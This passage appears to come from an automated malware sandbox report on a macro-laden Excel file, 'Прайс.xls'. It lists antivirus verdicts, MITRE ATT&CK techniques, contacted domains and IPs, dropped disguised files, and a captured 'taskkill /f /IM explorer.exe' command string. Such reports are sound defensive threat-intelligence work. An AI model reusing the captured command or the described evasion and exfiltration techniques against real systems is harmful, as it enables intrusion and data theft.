hm3fr","6144:dhm3frD","12288:lk3hbdl","12288:k3hbdly","12288:3hbdlyl","12288:hbdlylK","12288:bdlylKs","12288:dlylKsg","12288:lylKsgq","12288:ylKsgqo","12288:lKsgqop","12288:Ksgqope","12288:sgqopeJ","12288:gqopeJB","12288:qopeJBW","12288:opeJBWh","12288:peJBWhZ","12288:eJBWhZF","12288:JBWhZFV","12288:BWhZFVE","12288:WhZFVE+","12288:hZFVE+W","12288:ZFVE+W2","12288:FVE+W2N","12288:VE+W2Nd","12288:E+W2NdO","12288:+W2NdOP","12288:W2NdOPy","12288:2NdOPyz","12288:NdOPyzq","12288:dOPyzqR","12288:OPyzqRS","12288:PyzqRSa","12288:yzqRSaV","12288:zqRSaVZ","12288:qRSaVZj","12288:RSaVZjE","12288:SaVZjEi","12288:aVZjEir","12288:VZjEir+","12288:ZjEir+P","12288:jEir+Pm","12288:Eir+Pmr","12288:ir+Pmro","12288:r+Pmrow","12288:+PmrowY","12288:PmrowYb","12288:mrowYbL","12288:rowYbLo","12288:owYbLoj","12288:wYbLojo","12288:YbLojoh","12288:bLojohH","12288:LojohHd","12288:ojohHdh","12288:johHdhm","12288:ohHdhm3","12288:hHdhm3f","12288:Hdhm3fr","12288:dhm3frD","6144:DyWQaf4","6144:yWQaf4Q","6144:WQaf4Q+","6144:Qaf4Q+/","6144:af4Q+/w","6144:f4Q+/wF","6144:4Q+/wFj","6144:Q+/wFjo","6144:+/wFjon","6144:/wFjonM","6144:wFjonMD","6144:FjonMDL","6144:jonMDLr","6144:onMDLry","6144:nMDLryI","6144:MDLryIB","6144:DLryIBI","6144:LryIBIN","6144:ryIBINO","6144:yIBINO0","6144:IBINO0d","6144:BINO0d5","6144:INO0d5V","6144:NO0d5VS"],"imphash":"Unknown"},"file_info":{"file_name":"Прайс.xls","file_type":["xls","office"],"file_type_id":"xls","file_size":712192,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1783537945000,"last_seen":1783857390000,"last_multi_scan":1783857390000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["suspicious"]},"stats":{"av":{"malicious_count":6,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":45},"sandbox_signatures":{"informative_count":65,"suspicious_count":13,"malicious_count":6,"total":84},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/MSOffice.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/VBS.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"HEUR_Trojan_Script_Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_70% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"vba_autoexec","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Msoffice/malicious_confidence_70%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"suspicious","value":"Application communicates to suspicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Execution","technique":"User Execution","attack_id":"T1204","attack_id_wiki":"https://attack.mitre.org/techniques/T1204","identifiers":[{"type":"suspicious","value":"Contains embedded VBA macros with suspicious keywords"},{"type":"informative","value":"Contains embedded VBA macros"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"malicious","value":"Contains embedded VBA macros with keywords that indicate auto-execute behavior"},{"type":"informative","value":"Contains embedded VBA macros (normalized)"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Creates/edits LNK file (Windows shortcut)"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Modifies COM object registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"malicious","value":"Script loads executable in memory (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Windows system process connects to a network"},{"type":"malicious","value":"Document spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"},{"type":"informative","value":"Drops PE files with different extensions"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Spawns Windows crash diagnostic and reporting process"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","identifiers":[{"type":"informative","value":"Drops binary executable file with an unexpected extension"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"suspicious","value":"Contains embedded VBA macros with ability to perform file operations"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"May check for the presence of a forensics/monitoring tool"},{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Opens a handle to the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Contains embedded VBA macros with ability to read system environment variables"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to monitor clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Tries to open documents files"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Found HTTP POST request without a User Agent"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"suspicious","value":"Contains embedded VBA macros with ability to perform xor operation"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops executable files"},{"type":"informative","value":"Drops files with image extension"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Command and Control","technique":"Steganography","attack_id":"T1001.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1001/002","identifiers":[{"type":"informative","value":"Drops image files with high entropy (likely encrypted/compressed content)"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server (HTTPS)"},{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"malicious","value":"Terminates other processes using tskill/taskkill"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"taskkill.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at 8DAA0000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"\"EXCEL.EXE\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\CVR710.tmp\" to \"%TEMP%\\CVR710.tmp.cvr\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Spawns Windows crash diagnostic and reporting process","description":"Process \"WerFault.exe\" [UID: 00000000-00003456]\n Process \"WerFault.exe\" [UID: 00000000-00009076]","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"May check for the presence of a forensics/monitoring tool","description":"Found string \"%WINDIR%\\system32\\taskkill.exe /f /IM explorer.exe\" (Indicator: \"taskkill.exe\"; Source: \"00000000-00004304-00000C45-311282937942\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":3,"id":"string-45","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Cryptographic Related","name":"Drops image files with high entropy (likely encrypted/compressed content)","description":"Dropped file \"%APPDATA%\\Microsoft\\Network\\Cache\\icon.png\" has high entropy 7.99847","origin":"Binary File","mitre_attack_id":"T1001.002","relevance":5,"id":"binary-61","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$27","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains embedded VBA macros with ability to perform xor operation","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Found URL in decoded VBA string\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Drops image files with high entropy (likely encrypted/compressed content)\n Matched sigs: Contains embedded VBA macros with ability to perform xor operation","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains embedded VBA macros with ability to perform xor operation","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"Found XOR loop in file \"DEFAULT-20241101-1112.log\" at offset 13224; code bytes = 33c1\n Found XOR loop in file \"DEFAULT-20241101-1112.log\" at offset 13357; code bytes = 33c1\n Found XOR loop in file \"DEFAULT-20241101-1112.log\" at offset 13374; code bytes = 33c1\n Found XOR loop in file \"DEFAULT-20241101-1112.log\" at offset 38036; code bytes = 33c1\n Found XOR loop in file \"DEFAULT-20241101-1112.log\" at offset 165283; code bytes = 8030\n Found XOR loop in file \"DEFAULT-20241101-1112.log\" at offset 209244; code bytes = 8030","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"EXCEL.EXE\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"gateway.filen.net\"\n \"gateway.filen-3.net\"\n \"gateway.filen.io\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"146.0.41.234:443\"\n \"146.0.41.231:443\"\n \"146.0.41.208:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$28","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1137","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$2a","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"_.xls.LNK\" as clean (type is \"MS Windows shortcut Item id list present Points to a file or directory Has Relative path Unicoded MachineID desktop-8ld9t6n Archive ctime=Sun Jul 12 11:56:37 2026 atime=Sun Jul 12 11:57:20 2026 mtime=Sun Jul 12 11:57:19 2026 length=712192 window=normal IDListSize 0x007f Root folder \"20D04FE0-3AEA-1069-A2D8-08002B30309D\" Volume \"C:\\\" LocalBasePath \"C:\\_.xls\"\")\n Antivirus vendors marked dropped file \"DEFAULT-20241101-1112.log\" as clean (type is \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"DEFAULT-20241101-1112.log\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Loads rich edit control 